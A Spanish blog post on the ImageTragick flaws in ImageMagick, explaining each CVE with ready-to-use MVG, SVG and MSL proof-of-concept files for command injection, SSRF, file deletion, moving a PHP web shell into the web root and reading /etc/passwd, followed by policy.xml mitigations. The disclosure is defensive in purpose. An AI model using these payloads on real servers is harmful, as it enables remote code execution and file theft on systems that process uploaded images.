¿Usas ImageMagick? Pues con sólo subir una imagen maliciosa pueden comprometer tu servidor web

ImageMagick es una famosa librería de código abierto para procesar imágenes, que soporta muchos lenguajes (Perl, C++, PHP, Python, Ruby) y que es utilizada en millones de sitios web, incluyendo blogs, foros y CMS como Drupal o WordPress.

Nikolay Ermishkin de Mail.Ru security team descubrió recientemente múltiples vulnerabilidades (CVE-2016-3714 a CVE-2016-3717) y las notificó a los desarrolladores de ImageMagick que intentaron corregirla en la versión 6.9.3-9 publicada el dí­a 30 de abril. Sin embargo las correcciones no fueron tales y su explotación sigue siendo posible... y como veremos a continuación bastante trivial.

1. CVE-2016-3714 - Filtrado insuficiende de parámetros que permite la ejecución (remota) de código

ImageMagick permite procesar archivos con librerí­as externas. Esta caracterí­stica se llama 'delegate' y se puede implementar simplemente añadiendo una cadena con el comando y los parámetros correspondientes en el fichero delegate.xml. Por ejemplo, un comando delegado para manejar peticiones HTTPS serí­a: "wget" -q -O "%o" "https:%M"

El problema es que no se filtran correctamente los parámetros %M y es posible inyectar comandos del sistema. En el ejemplo anterior basta con poner como parámetro "https://example.com"|ls "-la" e inmediatamente obtenemos un listado del path actual. Podéis comprobarlo rápidamente desde la línea de comandos con la utilidad convert:

convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...


Para cerrar el cí­rculo, como ImageMagick soporta formatos como svg y mvg que permiten a su vez incluir también ficheros externos 'delegados', cualquier servicio que procese las imágenes con ImageMagick y utilice por defecto delegates.xml/policy.xml es vulnerable.

exploit.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
exploit.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
... 

 
Como podéis imaginar si subís cualquiera de las imágenes de arriba a un servidor que utiliza ImageMagick para procesarlas se ejecutará igualmente el comando "ls -la".

Adicionalmente ImageMagick trata de identificar el tipo del archivo por su contenido, por lo que la explotación no depende de la extensión del archivo. Podrí­amos cambiar el nombre exploit.mvg a exploit.jpg o exploit.png y omitir las comprobaciones de tipo de archivo. Además 'identify', la herramienta propia de detección es también vulnerable, por lo que no puede ser usada como protección para filtrar archivos por su contenido y posibilita más vectores de ataque (por ejemplo, a través de "less exploit.jpg", porque identify' se llama a través de lesspipe.sh).

Los últimos paquetes de Ubuntu 14.04 y OS X (ImageMagick 6.9.3-7 Q16 x86_64 y ImageMagick 6.8.6-10 P16) y la últimas fuentes de las ramas 6 y 7 son vulnerables. 

2. CVE-2016-3718 - SSRF (Server Side Request Forgery) para reenviar peticiones HTTP GET o FTP

ssrf.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
$ convert ssrf.mvg out.png # lanza una petición http a example.com
 
3. CVE-2016-3715 - borrado de archivos
 
En ImageMagick es posible borrar archivos mediante el tag 'ephemeral', por ejemplo 'convert ephemeral:logo.jpg logo.png'. Podemos aprovecharlo mediante:

delete_file.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # borra /tmp/delete.txt

 
4. CVE-2016-3716 - mover archivos

Es posible mover los archivos de imágenes a otro archivo con cualquier extensión y en cualquier directorio usando el pseudo protocolo 'msl'. En el siguiente ejemplo msl.txt e image.gif deben existir en la misma localización- (/tmp):

file_move.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
/tmp/msl.txt
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

/tmp/image.gif - imagen con un shell php shell dentro
(ver https://www.secgeek.net/POC/POC.gif)

$ convert file_move.mvg out.png # mueve /tmp/image.gif a /var/www/shell.php

5. CVE-2016-3717 - Lectura de ficheros locales (reportado de forma independiente por stewie - https://hackerone.com/stewie)

Es posible obtener el contenido de cualquier archivo del servidor mediante 'label':

file_read.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context

$ convert file_read.mvg out.png # crea un archivo renderizando el texto de /etc/passwd

Cómo mitigar las vulnerabilidades

Como véis, tenemos vulnerabilidades todaví­a de dí­a 0, que podrí­an permitir a un atacante acceder y modificar los ficheros del servidor, hacer peticiones GET HTTP o FTP (SSRF) e incluso ejecutar código remótamente, simplemente subiendo una imagen maliciosa a un servidor web.

Y cómo viene siendo costumbre últimamente para este tipo de vulnerabilidades, el exploit para CVE-2016-3714 ya ha sido bautizado con un nombre acorde con su impacto: ImageTragick, que incluso ya dispone de página web: https://imagetragick.com/

Evidentemente es capital mitigar estas vulnerabilidades lo antes posible y precisamente en la página anterior podréis encontrar las dos medidas recomendadas:

1. Comprobar que todos los archivos de imágenes comienzan con los esperados "bytes mágicos" que corresponden a los tipos de archivo de imagen dmitidos antes de enviarlos a ImageMagick para su procesamiento.

2. Utilizar un archivo de políticas para desactivar los codificadores de ImageMagick vulnerables. La política global de ImageMagick se encuentra normalmente en "/etc/ImageMagick". En el siguiente ejemplo se desactivaran los codificadores EPHEMERAL, URL, MVG, y MSL.

policy.xml

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
</policymap>

PoCs

Por último, ya están disponibles algunas PoCs para comprobar más fácilmente si un servidor es vulnerable (no seais malos!):

https://github.com/ImageTragick/PoCs

Comentarios

  1. Actualización de las policy en la página de imagetragick.

    He hecho un copy paste en el comentario pero tiene un buen filtro..... X-DD (como era de esperar en esta página) y no aparece,,,, Podeis verlas en la página de imagetragick

    ResponderEliminar

Publicar un comentario